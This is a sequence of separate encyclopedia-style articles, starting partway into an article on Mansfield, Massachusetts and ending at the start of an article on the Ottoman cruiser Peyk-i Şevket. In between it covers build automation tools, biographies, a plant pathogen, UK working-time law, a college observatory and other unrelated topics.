Mansfield currently has its own school department consisting of five schools, governed by a superintendent of schools (whose office is located directly adjacent to the town hall) and a school committee. (Coincidentally, the school department building was once the public library and before that, it was the town hall, and the town hall was once the high school.) There are five schools serving various levels within the town: the Roland Green Preschool, the Everett W. Robinson Elementary School (serving grades K–2), the Jordan-Jackson Elementary School (serving grades 3–5), the Harold L. Qualters Middle School (serving grades 6–8), and Mansfield High School. Mansfield's teams are nicknamed the Hornets, and their colors are green and white. For many years in the 1980s and early 1990s, the school's marching band hosted the first event of the New England Scholastic Band Association's fall field show competition season. Other than the Roland Green Preschool, all the town's schools are located on either side of East Street near the center of town.
In addition to the public schools within the town, Mansfield residents can also send their children to the Foxboro Regional Charter School free of charge. High school students may also attend Southeastern Regional Vocational-Technical High School in Easton or Bristol County Agricultural High School in Dighton free of charge. The town has one parochial school, Saint Mary's Catholic School, which serves grades Pre-K–8, and an Islamic high school, Al-Noor Academy, which opened in 2000 and serves the Islamic community along the I-95 corridor.
Mansfield is also known for its outstanding high school sports and music programs. Football, soccer, baseball, boys' and girls' basketball, lacrosse, track and field (Men), and Women's Indoor and Outdoor Track and Field teams have won multiple league, division, and all-state titles. In 2013 and 2019, the Mansfield Hornets football team won the Division 2 state title, and in 2018, the boys' basketball team won the state Division 1 championship, defeating Hockomock League rival Franklin at the Mass Mutual Center in Springfield. Mansfield High football and girls' basketball coach Michael Redding was inducted into the state football coaches' hall of fame in 2019. The Mansfield music program has also won many awards over the years. The school’s percussion ensemble has won many regional championships in the NESBA (New England Scholastic Band Association) circuit and the international championship held by WGI (Winter Guard International) in 2015. The school also has a growing marching band (which competes in NESBA and USBands), concert band, choir, and orchestra.
Library
The Mansfield Public Library was established in 1884. In fiscal year 2008, the town of Mansfield spent 0.86% ($605,929) of its budget on its public library—some $25 per person, per year ($30.62 adjusted for inflation in 2021).
Transportation
One of the intersections of Interstates 95 and 495 is located on the Mansfield-Foxborough town line, with both highways going through the town. Additionally, the town includes open and limited-access sections of Route 140, as well as part of Route 106. The only exits off the interstates which are located within the town are I-495 Exit 31 (linking to a limited access section of Rt. 140 North from both directions of I-495) and I-95 Exit 13 (linking to Rt. 140 North / South and South Main Street). The town also has a stop along the MBTA's commuter line between Providence and Boston, and is serviced by Mansfield Municipal Airport, which serves smaller aircraft. Mansfield is effectively equidistant between two international airports, with parts of the town being closer to either Logan International Airport in Boston or T.F. Green Airport in Warwick, Rhode Island, each of which is approximately 30 to 35 miles from the town.
Notable people
Benjamin Bates IV (born 1808), American industrialist
Don Currivan (born 1920), Football Player
Mark Farinella (born 1954), long-time sportswriter for The Sun Chronicle of Attleboro, Mass., and advocate for women's sports
Tom Gilson (born 1988), Arena Football League player
Jeff Hill, covered Pat Connaughton in the D1 state title game
Shawnae Jebbia (born 1971), Miss Massachusetts USA 1998 and Miss USA 1998
Samuel Crocker Lovell (born 1839), US Army lieutenant that led a contingent of soldiers assigned to escort Confederate Gen. Robert E. Lee to his home after the surrender at Appomattox, VA
Frank Jerome Murray (born 1904), US federal judge
Charlie Romero (born 1989), soccer player
Jen Royle (born 1974), former reporter turned chef
Laban Wheaton (born 1846), US Representative from Massachusetts
References
External links
Town of Mansfield Official Web Site
Mansfield Public Schools
Mansfield News
Towns in Bristol County, Massachusetts
Providence metropolitan area
Towns in Massachusetts |
Build automation involves scripting or automating the process of compiling computer source code into binary code. Below is a list of notable tools associated with automating build processes.
Make-based
GNU make, a make implementation with a large set of extensions
make, a Unix build tool
mk, developed originally for Version 10 Unix and Plan 9, and ported to Unix as part of plan9port
MPW Make, developed for the classic Mac OS and similar to but not compatible with Unix make; the modern macOS (OS X) comes with both GNU make and BSD make; available as part of Macintosh Programmer's Workshop as a free, unsupported download from Apple
nmake
PVCS-make, follows the concept of make but with additional syntax features
Make-incompatible
Apache Ant, popular for Java platform development and uses an XML file format
Apache Buildr, historic open-source build system, Rake-based, gives the full power of scripting in Ruby with integral support for most abilities wanted in a build system
Apache Maven, a Java platform tool for dependency management and automated software build
ASDF LISP build system for building LISP projects
A-A-P, a Python-based build tool
Bazel, a portion of Blaze (Google's own build tool) written in Java, using Starlark (BUILD file syntax) to build projects in Java, C, C++, Go, Python, Objective-C, and others
BitBake, a Python-based tool with the special focus of distributions and packages for embedded Linux cross-compilation
Boot, a Java build and dependency management tool written in Clojure
boost.build For C++ projects, cross-platform, based on Perforce Jam
Buck, a build system developed and used by Facebook, written in Java, using Starlark (BUILD file syntax) as Bazel
Buildout, a Python-based build system for creating, assembling and deploying applications from multiple parts
Cabal, a common architecture for building applications and libraries in the language Haskell
Dub, the official package and build manager of the D Language
dale, a D build tool
FinalBuilder, for Windows software developers. FinalBuilder provides a graphical IDE to both create and run build projects in a single application. The final builder also includes the ability the execute the unit test, deploy web projects or install and test applications.
Flowtracer, a build management tool
Gradle, an open-source build and automation system with an Apache Groovy-based domain specific language (DSL), combining features of Apache Ant and Apache Maven with more features like a reliable incremental build
Grunt, a build tool for front-end web development
Gulp, a build tool for front-end web development
IncrediBuild, a suite of grid computing software for compiling and building software
Leiningen, a tool providing commonly performed tasks in Clojure projects, including build automation
Mix, the Elixir build tool
MSBuild, the Microsoft build engine
NAnt, a tool similar to Ant for the .NET Framework
Ninja, a small build system focused on speed by using build scripts generated by higher-level build systems
Perforce Jam, a build tool by Perforce, inspired by Make
Qt Build System
Rake, a Ruby-based build tool
rez, a C/C++ build tool
sbt, a build tool built on a Scala-based DSL
SCons, Python-based, with integrated functionality similar to autoconf/automake
Stack, a tool to build Haskell projects, manage their dependencies (compilers and libraries), and to test and benchmark.
tinyrick, a Rust build tool
vast, a shell build tool
Visual Build, a graphical user interface software for software builds
Waf, a Python-based tool for configuring, compiling and installing applications. It is a replacement for other tools such as Autotools, Scons, CMake or Ant
Build script generation
These generator tools do not build directly, but rather generate files to be used by a native build tool (as the ones listed in the previous two sections).
BuildAMation, a multi-platform tool, using a declarative syntax in C# scripts, that builds C/C++ code in a terminal using multiple threads, or generates project files for Microsoft Visual Studio, Xcode or MakeFiles.
CMake generates files for various build tools, such as make, ninja, Apple's Xcode, and Microsoft Visual Studio. CMake is also directly used by some IDE as Qt Creator, KDevelop and GNOME Builder.
GNU Build System (aka autotools), a collection of tools for portable builds. These in particular include Autoconf and Automake, cross-unix-platform tools that together generate appropriate localized makefiles.
GYP (Generate Your Projects) - Created for Chromium; it is another tool that generates files for the native build environment. It has been superseded by GN which generates files for ninja and other build systems.
imake
Meson, a build system optimized for performance and usability is based on ninja on Linux, Visual Studio on Windows and Xcode on macOS. Meson is also directly used by GNOME Builder.
OpenMake Software Meister
Premake, a Lua-based tool for making makefiles, Visual Studio files, Xcode projects, and more
qmake
Continuous integration
AnthillPro, build automation with pipeline support for deployment automation and testing. Cross-platform, cross-language
Apache Continuum - discontinued
Bamboo, continuous-integration software
Bitbucket Pipelines and Deployments, continuous integration for Bitbucket hosted repositories
Buildbot, a Python-based software development continuous-integration tool which automates the compile/test cycle
CruiseControl, for Java and .NET
Go continuous delivery, open source, cross-platform
GitLab (GitLab Runner), continuous integration and git server
GitHub (GitHub Actions), free continuous integration service for open-source projects and git server
Hudson, an extensible continuous-integration engine
Jenkins, an extensible continuous-integration engine, forked from Hudson
Spinnaker, open source multi-cloud continuous delivery service from Netflix and Google
TeamCity
Travis CI, a hosted continuous-integration service
Configuration management
Ansible (Python-based)
CFEngine
Chef (Ruby-based)
LCFG
NixOS Declarative configuration model
OpenMake Software Release Engineer
Otter
Puppet (Ruby-based)
Salt (Python-based)
Rex (Perl-based)
Meta-build
A meta-build tool is capable of building many different projects using a subset of existing build tools. Since these usually provide a list of packages to build, they are also often called package managers.
Pkgsrc, Portage, MacPorts and other package managers derived from the BSD Ports Collection.
Nix, functional package manager for Linux and macOS focusing on reproducible builds, used for the NixOS Linux distribution.
Guix, functional package manager based on Nix, used for the GuixSD Linux distribution.
Collective Knowledge, cross-platform package manager to rebuild software environment for research workflows
Homebrew, package manager for macOS
Others
checkinstall, checkinstall is a program that monitors an installation procedure and creates a standard package for your distribution.
Open Build Service, a hosted service to help build packages for various Linux distributions
Licensing overview
References
Build automation
build automation |
Timothy Peter Mason (born February 14, 1950) is an American playwright. He has written a number of plays including Levitation, Only You, Babylon Gardens, The Fiery Furnace and Bearclaw. He also wrote the novels The Last Synapsid and The Darwin Affair, and the book and lyrics for the Broadway musical, Dr. Seuss' How the Grinch Stole Christmas!
Bio
Timothy Mason was born in Sioux Falls, South Dakota. As a young child, he moved with his family to Minneapolis. He is the son of Reverend John Martin Mason II (1908 - 2003), who was an author, a minister, and who traveled the country as an advocate for the elderly. Timothy Mason’s mother was Mertrice Rosalys (Herfindahl) Mason. While in high school Timothy Mason performed in a number of plays at the Children's Theatre Company of Minneapolis. He earned a degree at St. Olaf College in Northfield, Minnesota; and he also studied at Harris Manchester College, Oxford, England, in 1971. While in college he wrote plays for the Children's Theatre Company of Minneapolis, including Robin Hood a Story of the Forest and Kidnapped in London, which won the 1972 National Society of Arts and Letters Award.
Playwriting and novels
Circle Repertory Company produced his plays Levitation, Only You, Babylon Gardens (starring Timothy Hutton and Mary-Louise Parker), and The Fiery Furnace (starring Julie Harris). His plays have also been produced by Actors Theatre of Louisville, South Coast Repertory, Seattle Repertory Theatre, Victory Gardens Theater, the Jungle Theatre of Minneapolis, the Old Globe, the Children’s Theatre Company of Minneapolis, the Guthrie Theater Lab, in Minneapolis, Pioneer Memorial Theatre in Salt Lake City, and the Royal National Theatre, London.
He has been a resident playwright The Children’s Theatre Company, Minneapolis, a company playwright at Circle Repertory Company in New York City and guest playwriting instructor at state universities in Minnesota, Oklahoma, Utah, Florida, and Arizona; as well as at New York University, and The New School in New York City.
Mason created a 5-play "Young Americans Cycle", which includes: Ascension Day, The Less than Human Club, Time on Fire, Mullen's Alley, and My Life in the Silents. The plays deal with the lives of young people at significant moments in history. The play cycle was commission by San Francisco’s American Conservatory Theater’s Young Conservatory, and created in collaboration with Theatre Royal in Bath, England. The Young Conservatory is the first American theater company of young people to play London's Royal National Theatre as part of the National Theatre Connections — a collaboration that began in 2001 with Mason's Time on Fire.
Mason's published works include many of his plays, and also Timothy Mason: Ten Plays for Children From the Repertory of the Children's Theatre Company of Minneapolis, which features theatrical adaptations of classic works of children's literature; and the novels The Last Synapsid and The Darwin Affair.
His play Bearclaw was commissioned by the Actors Theatre of Louisville, it then premiered in 1984 at Lucielle Lortel’s White Barn Theatre in Westport Connecticut, and was produced by Circle Repertory Company and Lucille Lortell. It was staged the following year by the Seattle Repertory Theatre, and it was then published in 1989 in The Best Short Plays of 1988-1989. Commissioned by the Actor’s Theatre of Louisville, premiered at Lucielle Lortel’s White Barn Theatre in Westport, Connecticut, and published in The Best short plays, 1988-1989 by The Fireside Theatre.
Mason has won a Kennedy Center Fund for New American Plays Award, the W. Alton Jones Foundation Award, the Hollywood DramaLogue Award, the Fellowship from the National Endowment for the Arts, the Berilla Kerr Playwrights Award, and the National Society of Arts and Letters Award.
Plays
In a Northern Landscape
Levitation
Bearclaw
Only You
Babylon Gardens
The Fiery Furnace
Before I Got My Eye Put Out
Ascension Day
The Less Than Human Club
Time on Fire
Mullen's Alley
My Life in the Silents
The Life to Come
Dr. Seuss' How the Grinch Stole Christmas! - The Musical
Sorry
References
1950 births
20th-century American dramatists and playwrights
21st-century American dramatists and playwrights
American male dramatists and playwrights
St. Olaf College alumni
Living people
20th-century American male writers
21st-century American male writers |
Rob Graham Thirlby (born 2 March 1979) is an English rugby union player who plays on the wing or full back for Yatton whilst also acting as the video analyst for Gloucester Rugby. He previously played for Moseley, Penzance-Newlyn, and for Redruth whom he joined from Gloucester Rugby.
He played regularly for the England Sevens team.
Early life
Thirlby was born in Penzance, Cornwall, England, and educated at Richard Lander School.
Club career
Thirlby began his career with Redruth before guesting for Penzance & Newlyn in the 1998 Safari Sevens tournament in Kenya where he was spotted by Kyran Bracken who recommended him to Saracens and Thirlby joined the club ahead of the 1998–1999 season. He made his Sarries debut in an Anglo-Welsh clash with Cardiff on 16 January 1999, kicking 11 points in a 36–22 victory. He made his Premiership debut against Northampton Saints on 6 February 1999 and went on to make 28 appearances for the club in the competition, scoring six tries.
Thirlby left Saracens to join Bath Rugby in May 2000. He played 36 times for Bath in the Premiership scoring eight tries, the highlight being the hat-trick of tries he scored against Rotherham on 14 April 2001, before joining Rotherham in February 2003. He helped the club secure promotion from National Division One back into the Premiership before returning to Cornwall and Penzance & Newlyn for the 2003–2004 season.
After two seasons with Penzance & Newlyn, Thirlby returned to the Premiership by signing a two-year contract with Gloucester Rugby. After just ten Premiership appearances and a solitary try, Thirlby joined Redruth on loan in January 2007, agreeing a two-year contract with the club in March 2007.
International
Thirlby was a regular member of the England Sevens team. He represented the team in both the RWC Sevens 2001 and RWC Sevens 2005, the only England player to do so, and was a member of Joe Lydon's twelve-man squad for the 2002 Commonwealth Games in Manchester.
Although the team returned without medals, they did win the Sevens Plate in the tournament.
He made 35 appearances in the IRB Sevens World Series, at the time the third-highest total by an England player, which has since been surpassed several times.
Thirlby received a call up for England's 2000 tour of South Africa, and although he did not appear in the test side, he played in the three tour matches, scoring a try in the 36–27 victory over Gauteng Falcons.
Personal life
Thirlby is married to Jess Garland, a former England netball international. In 2019 she was appointed head coach of the England national netball team. Like her future husband, Garland also represented England at the 2002 Commonwealth Games. They have two children. Thirlby also has a child from a previous relationship. His father-in-law was Chris Garland, a professional footballer.
References
External links
England Sevens Profile
1979 births
Living people
Bath Rugby players
Commonwealth Games rugby sevens players for England
Cornish Pirates players
Cornwall RFU players
England international rugby sevens players
English rugby sevens players
English rugby union players
Gloucester Rugby players
Moseley Rugby Football Club players
Rotherham Titans players
Rugby sevens players at the 2002 Commonwealth Games
Rugby union fullbacks
Rugby union players from Redruth
Rugby union wings
Saracens F.C. players |
"Ich bin" ("I Am") is a song recorded by German singer LaFee. It was released as the lead single of her fifth studio album, Frei, on 10 June 2011. The song was used as the opening theme of the German scripted reality series .
Background
LaFee first performed the song on 4 June 2011 at the German show The Dome, which was her first live performance since 2009.
Track listing
German CD single
"Ich bin" – 2:57
"Unschuldig" – 3:02
Promotional single
"Ich bin" – 2:57
Digital download
"Ich bin" – 2:57
"Unschuldig" – 3:02
Charts
Release history
References
2011 singles
LaFee songs
2011 songs
EMI Records singles |
At the Sign of the Reine Pédauque () is a historical novel by Anatole France, written in 1892 and published the next year. The novel tells of the tribulations of the young Jacques Ménétrier at the beginning of the 18th century. Its most important source is the 17th-century occult text Comte de Gabalis.
Summary
Jacques Ménétrier is the son of Léonard Ménétrier, leader of a brotherhood of roast-meat sellers. Somewhat educated by Brother Ange, a dissolute capucin, Jacques replaces the dog Miraut in his job of turning the spit on which the chickens roast. He is soon taken under the protection of Mr. Jérôme Coignard, an abbot, who rebaptises him "the learned Jacobus Tournebroche" and teaches him Latin and Greek. The two of them are hired by Mr. d'Astarac, an alchemist researching salamanders and sylphs in the works of ancient authors.
The rants of d'Astarac, the debauchery of Mr. d'Anquetil, and the vengeance of the uncle of the beautiful Jahel result in the happiness destined for the master and student, Jérôme and Jacques.
Adaptations
Composer Charles-Gaston Levadé adapted the novel into a four-act lyric comic opera in 1934. Tenor Jean Marny of the Opéra-Comique recorded an aria from the work, "Reverie de Jacques," on Pathé sapphire disc 3175.
Traktér U královny Pedauky (1967) is a Czechoslovak television film directed by Zdeněk Kaloč, starring Josef Karlík, Leopold Franc, Libuše Geprtová, and Václav Postránecký. Running time 84 min.
References
External links
1893 French novels
Novels by Anatole France
French historical novels
Fiction about alchemy |
The Lufttransport Staffel 7 (LT St7 or LT 7) is a militia transport squadron of the Swiss Air Force. The LT St 7 belongs to the Flugplatzkommando 7 (Flpl Kdo 7). It is stationed on the Militärflugplatz Emmen. As coat of arms, the Lufttransport Staffel 7 wears a dark blue side view of a Pilatus PC-6 next to the two parachute jumpers in the free fall in front of the yellow letter LT and the word Staffel and two lines forming a 7 with blue background and a yellow circle. There is also a camouflage version, which has a dark green background, the LT Letters, the word Staffel and the double 7 are white, the side contour of the PC-6 is also by white. Previously the LT Staffel7 had a coat of arms showing a Globi on a red / white parachute against a light blue background and the black inscription: Lufttransport 7 Staffel / Kompanie.
History
The Lufttransport Staffel 7, formerly also known as the light aircraft Transport Staffel 7, is the only air transport squadron of the Swiss Air Force, which exclusively uses fixed-wing aircraft. The pilots are mainly former militia pilots who are no longer active in the militia combat aircraft squadrons because of their age.
The Pilatus Porter was an ideal transport aircraft at the time of the first helicopters, with its considerably higher load capacity.
In 1967 a first tranche of 12 Pilatus PC-6 Porters was procured. This version of the PC-6 H2M was still equipped with a piston engine. With the procurement from 1978 a second tranche of 6 new turbo-porters were bought and the piston engine-porter converted to PC-6 with turbo engine. At this times Dornier DO-27 were also used for Lufttransport Staffel 7. In earlier years, the "Light Transport Squadron 7" operated the Porter not only for dropping off the parachute reconnaissance troops, for fighting against forest fires, the aircraft could be converted with a water tank. But this was abandoned when the Alouette III and the Bambibucket made it possible to discard larger quantities more precisely. Even training sessions as spray aircraft with chemical substances for the AC exercise of troops could be carried out. However, this is no longer practiced today. Ever since, the Lufttransport Staffel 7 has also carried out its flight operations from temporary airfields. Its home base has been the Militärflugplatz Emmen since the year 2000, before was the military airfield St. Stephan the home base, but this is no more a military airbase.
The Lufttransport Staffel 7 drop off parachute reconnaissance units from heights of up to 8000 meters above sea level. It carries out take-offs and landings from makeshift places on the ground for the tactical deployment STOL. In addition, passenger and material transports and connecting flights are carried out for the most varied locations. The service of Lufttransport Staffel 7 is not limited to the repetition course of the Parachute Reconnaissance Company 17. Throughout the whole year, the pilots ensure the service of the parachute reconnaissance school 83 in Locarno with individual service days. Also the creation of aerial photographs (not to be confused with the airphotography for the cartography) belongs in the varied task area.
Nowadays the Lufttransport Staffel 7 still has 15 Pilatus PC-6, 14 of them are in olive-green camouflage color. The Pilatus PC-6 with the tailnumber V-622 is decorated in the colors of the Patrouille Suisse and serves as liaison aircraft for the Commander of the Patrouille Suisse.
Aircraft
Pilatus PC-6 Porter (PC-6 with piston engine)
Dornier Do 27
Pilatus PC-6/B2-H2M
References
Official VBS page about the Lufttransport Staffel 7
Lufttransportstaffel 7 Hermann Keist
Flieger-Flab-Museum
Swiss Air Force
Military units and formations established in 1967 |
Pestalotia longisetula is a plant pathogen causing strawberry fruit rot.
Hosts and symptoms
While P. longisetula is best known for infecting strawberry crops, it can also infect other plants, including apricots, peaches, guava, and tomato fruits. Some plants such as beans are immune to the disease. It takes on average about two weeks for mature plants to be fully infected, while plants at an earlier stage of growth spread infection more slowly. Infected areas become covered with white mycelia growth and the host plant starts to rot from the skin to the core of the plant. The plant as a whole suffers as the leaves develop lesions with spores to spread the disease.
Infection
P. longisetula infects other plants through the leaves. Spores grow on the leaves and spread through the wind. The disease thrives in areas with high humidity and high wind. Once the plant has been infected, the disease spreads throughout the leaves and then attacks the fruit, causing it to rot on the skin and then the core. After eight days, most mature plants will be completely infected and a new phase of the infection begins, which spreads to the next plant. The host plant dies in most circumstances. Using pesticides and growing strawberries in areas with low wind power and low humidity can slow the progression of the infection.
Importance
Countries depend on growing strawberries as profits. If the disease manifests in the area then by the time farmers locate it, a percentage of the plants are wiped out and profits are lost. Countries most affected are those that do not have access to pesticides or greenhouses to protect the plants.
References
External links
USDA ARS Fungal Database
Fungal strawberry diseases
Fungi described in 1961
Xylariales |
In MS-DOS and Microsoft Windows, filespec is a term meaning a filename identifier that specifies both the name and location of a single file.
The filespec differs from the filename in that the filespec includes a complete specification, within a particular file system, of the file's location. Thus, win.com is a filename and C:\Windows\win.com is a filespec.
The term originates from Digital Research CP/M operating system. From the CP/M Plus Command Reference Manual:
CP/M Plus identifies every file by its complete name or file specification. A file specification is any valid combination of the drive specification, filename, filetype, and password, all separated by their appropriate delimiters. A drive letter must be followed by a colon. A filetype must be preceded by a period. A password must be preceded by a semicolon. The term filespec is an abbreviation for file specification.
See also
File system
Long filename
Path (computing)
References
Computer files |
The Stephen F. Austin Lumberjacks basketball team is the men's basketball team that represents Stephen F. Austin State University (popularly abbreviated as SFA) in Nacogdoches, Texas, United States. (All SFA women's teams are known as Ladyjacks.)
History
In the 2013–2014 season the men's basketball team had its most successful year in more than 2 decades going 32–3 in the regular season and 18–0 in conference play. They won 29 games in a row including the conference semi-final and finals and the second round of the NCAA Tournament. SFA repeated the same feat in their 2015–2016 season by going 18–0 in conference and reaching the second round of the NCAA once again, but lost in a heartbreaker by Rex Pflueger's putback which gave Notre Dame a 76-75 win over the Lumberjacks.
On May 20, 2020, following the discovery of an administrative error in certifying eligibility for student-athletes, Stephen F. Austin reached an agreement with the NCAA to vacate hundreds of wins across multiple sports from 2013 to 2019, including all 117 men's basketball wins from the 2014–15 to 2018–19 seasons. As a result, three NCAA tournament appearances and three Southland conference titles were nullified.
SFA is one of four schools, all from Texas, that left the Southland Conference on July 1, 2021 to join the Western Athletic Conference (WAC). SFA had previously played in the Southland Conference since the 1987–88 season.
Postseason appearances
NCAA tournament results
The Lumberjacks have appeared in five NCAA Tournaments. Their combined record is 2–5; however, as a result of their three vacated appearances, they have an "official" record of 1–2.
NIT results
The Lumberjacks have appeared in three National Invitation Tournaments (NIT). Their combined record is 1–3.
CBI results
The Lumberjacks have appeared in the College Basketball Invitational (CBI) once. Their record is 0–1.
CIT results
The Lumberjacks have appeared in one CollegeInsider.com Postseason Tournament (CIT). Their record is 0–1.
Lumberjacks in the NBA
3 former Stephen F. Austin players have played at least one game in the NBA.
References
External links |
Marmorosphax boulinda is a species of skink found in New Caledonia.
References
Marmorosphax
Reptiles described in 2009
Skinks of New Caledonia
Endemic fauna of New Caledonia
Taxa named by Ross Allen Sadlier
Taxa named by Sarah A. Smith
Taxa named by Aaron M. Bauer
Taxa named by Anthony Whitaker |
Zakiah Daradjat (November 6, 1926 – January 15, 2013) was an Indonesian Islamic psychologist, educator, and professor of psychology at the Syarif Hidayatullah State Islamic University Jakarta.
Early life
Zakiah Daradjat was born in Koto Marapak, Agam, Dutch East Indies, on 6 November 1926. Her father, Daradjat Husain was known as an activist in the Muslim organization Muhammadiyah and her mother, Rafi'ah was active in Sarekat Islam. Husain had two wives; there were six children he got from his first wife, and from his second wife, Rasunah, he got five children, Zakiah being the oldest. Even though her parents did not come from an ulema group, as a child Zakiah had been educated about Islam through her parents.
References
Bibliography
External links
Indonesian psychologists
Indonesian women psychologists
Indonesian psychiatrists
Indonesian educators
Indonesian women educators
People from Agam Regency
Minangkabau people
Indonesian Muslims
1926 births
2013 deaths |
Mvuma, previously named 'Umvuma', is a small mining town in Midlands province in Zimbabwe.
Located 192 km south of Harare along the Harare - Masvingo highway. Approx 100 km from Masvingo.
Background
The main employer was the Athens Mine (formerly the Falcon Mine) owned by Lonrho Zimbabwe which mined gold, silver, and copper. It was closed down around 1996 due to a mine shaft collapse and the low price of gold. One may still see a huge chimney, on top of a hill near the mine, built in 1913 and visible from miles away. The chimney is 40.28m tall. A Scotsman by the name of Blackie, the maternal grandfather of virologist Professor Robert 'Bob' Swanepoel, apparently played a major role in building this chimney.
Population
The population is estimated to be around 7000, and the town has an altitude of 1406m.
Geology
The Athens and Falcon gold-copper mines are just south of Mvuma, within the east-west trending Umvuma greenstone belt, consisting of talcose, tremolitic, and chloritic schists. Claims were filed at Falcon in 1900, and mining of chalcopyrite, with a gold content of 6.7 gram per ton, took place from 1910 until 1926. The Athens, 500 m to the east, was mined from 1923 until 1958 for gold and silver within pyrite, pyrrhotite, and chalcopyrite. Lonrho Investment Co. operated the claims starting in 1973.
Geography
The area is link between Gweru and Chivhu. Located approximately 83 km from Gweru and approximately 54 km to Chivhu. The area is surrounded by Chirumhanzu Communal lands which fall within its administration. Nearby farms include the former Central Estates Headquarters formerly owned by N. Van Hoogstraten with capacity to employee 1000 workers. Due to land redistribution in 2000 the agricultural hub failed, with the closure of Athens mine, led to migration and thus urban decay of Mvuma.
Operations
There are huge cyanide dumps around the town as a by-product from the gold mining. Now dominated by cattle ranching and agriculture as the means of community support.
Formally known as Umvuma, and Umvooma. Mvuma houses a few government offices at district level. It hosts the Chirumhanzu Rural District Council offices as well as a district hospital.
Economy
In 2010 business started booming in Mvuma, taking advantage of highway users. Chicken Slice, a fast food outlet and Unique Rama, a truckstop and restaurant, were opened. In 2013 a complex housing banks and lodges was commissioned improving the livelihoods by creating employment for the locals. Mvuma Art and Craft Centre is on the western side of the A4 a short distance north of Chicken Slice. A range of stone sculptures is sold to passing motorists.
References
Populated places in Midlands Province |
The working time regulations 69 (SI 1998/1833) is a statutory instrument in UK labour law which implements the EU Working Time Directive 2003. It does not extend to Northern Ireland.
Contents
The Working Time Regulations create a basic set of rights for the time people work, particularly 28 days paid holidays, a right to 20 minute paid breaks for each 6 hours worked, a right to weekly rest of at least one full 24 hour period, and the right to limit the working week to 48 hours. These are designed to be minimum standards, which anybody's individual contract or collective agreement through a trade union may improve upon. The Regulations apply to all workers (not just employees) and stipulate minimum rest breaks, daily rest, weekly rest and the maximum average working week.
Paid holidays
Regulations 13 and 13A create a right to paid annual leave of 28 days, expressed as "four weeks" and an additional "1.6 weeks" (including bank holidays and public holidays). In the Working Time Directive article 7 refers to paid annual leave of "at least four weeks", but does not directly define a "week", and nor do the regulations. Article 5 states that the "weekly rest period" means a "seven-day period". When the Directive was implemented in the UK, regulation 13 originally stated "four weeks" but many employers only gave their workers four five-day periods of leave (i.e. 20 days). In response the UK government amended the regulations in 2007 to add the further 1.6 week period, bringing the minimum in line with the European Union requirement for four full weeks (i.e. 28 days). However, this confusion led to the argument that the UK had gone beyond the minimum standards required by the Working Time Directive 2003, even though no country in the EU has a right to fewer holidays than 28 days.
Rest periods
Regulation 10 creates the right to a minimum period of rest of 20 minutes in any shift lasting over 6 hours.
Under 18's are entitled to a 30 minute break for every 4.5 hours worked.
Weekly working time
Regulations 4-5 set a default rule that workers may work no more than 48 hours per week (although one may opt out of it).
ECJ case law has confirmed that statutory holiday will continue to accrue during career breaks or sabbaticals.
Case law
UK v Council (Working Time Directive) [1996] ECR I-5755
Sindicato de Médicos de Asistencia Pública v Conselleria de Sanidad y Consumo de la Generalidad Valenciana [2000] ECR I-7963
R v DTI ex parte BECTU [2001] 3 CMLR 7
Blackburn v Gridquest Limited [2002] IRLR 604
Landeshauptstadt Kiel v Jaegar [2003] ECR I-08389
MacCartney v Oversley House Management [2006] IRLR 514
Lyons v Mitie Security Ltd [2010] IRLR 288, EAT decides a worker who does not give notice to take holidays may lose their paid annual leave entitlement (questionable compatibility with the WTD 2003).
See also
Tax credit
Child tax credit
Working tax credit
Wage regulation
Notes
References
E McGaughey, A Casebook on Labour Law (Hart 2019) ch 7(1)(a)
External links
Direct.gov.uk guidance for workers
Businesslink.gov.uk guidance for businesses
Directive 2003/88/EC of the European Parliament and of the Council of 4 November 2003 concerning certain aspects of the organisation of working time
Old EU Working Time Directive 93/104/EC
United Kingdom labour law
Statutory Instruments of the United Kingdom
1998 in British law
1998 in labor relations |
Whitin Observatory is an astronomical observatory owned and operated by Wellesley College. Built in 1900, with additions in 1906, 1967, and 2010, it is located in Wellesley, Massachusetts and named after Wellesley College trustee Mrs. John Crane Whitin (Sarah Elizabeth Whitin) of Whitinsville, who donated the funds for the observatory. Astronomer Sarah Frances Whiting was the first director of the new Wellesley College Astronomy Department.
The facilities include a 0.7m PlaneWave CDK700 reflector, a 12" Fitz/Clark refractor, a 6" Alvan Clark refractor, a Hale Spectrohelioscope, and Meade 8" SCTs.
History
In 1896, Wellesley College physics professor Sarah Frances Whiting met trustee Sarah Elizabeth Whitin at a traditional college ceremony, "Float Night." The conversation turned to a 12" refracting telescope Whiting had used that was being offered for sale,
and as told in Wellesley College 1875–1975: A Century of Women:
Whiting used the telescope in teaching her classes in astronomy to Wellesley students, one of the first of its kind. It quickly became apparent that the Observatory would need to be expanded. Sarah Frances Whiting wrote in Whitin's obituary "An Appreciation," which appeared in The Wellesley College News
According to Wellesley records, in 1942, before the U.S. entered World War II, "astronomy professor Helen Dodson and Barbara McCarthy, professor of Greek, teach a secret course in cryptography to (at least) ten students. The course was taught evenings at the Observatory, where late-night activity would not attract attention. Following graduation, most of these students went on to work for the [U.S. Navy] WAVES (Women Accepted for Volunteer Emergency Service), working on Japanese and German codes."
Faculty
Sarah Frances Whiting
Ellen Amanda Hayes
Leah Allen
John Charles Duncan
Students
Annie Jump Cannon, after whom the Annie J. Cannon Award in Astronomy was named.
Andrea Dupree
Martha P. Haynes
Pamela Melroy
Nergis Mavalvala
Friends
Margaret Lindsay Huggins, who bequeathed items to the observatory
See also
List of astronomical observatories
References
External links
Wellesley College Astronomy Department
Astronomical observatories in Massachusetts
Buildings and structures in Norfolk County, Massachusetts
Wellesley College |
Peyk-i Şevket was a torpedo cruiser of the Ottoman Navy, built in Germany in 1906–07, the lead ship of her class, which included one other vessel. She was built by the Germaniawerft shipyard in Germany in 1906–07, and was delivered to the Ottoman Navy in November 1907. The ship's primary armament consisted of three torpedo tubes and a pair of guns, and she was capable of a top speed of . A major reconstruction in the late 1930s revised her armament and rebuilt her bow and superstructure.
The ship was interned at British-controlled Suez at the start of the Italo-Turkish War of 1911–12, and as a result she saw no action during the conflict. During the First Balkan War in 1913, she bombarded Bulgarian troops threatening the Ottoman capital at Constantinople. Peyk-i Şevket was torpedoed by the British submarine in August 1915 during the Dardanelles Campaign of World War I. Repairs lasted until 1917, and in the final year of the war she served in the Black Sea, escorting troop ships to the Caucasus. Renamed Peyk in 1923, the ship continued in service with the Turkish Navy following the collapse of the Ottoman Empire until 1944, when she was decommissioned. She was broken up for scrap in 1953–54.
Design
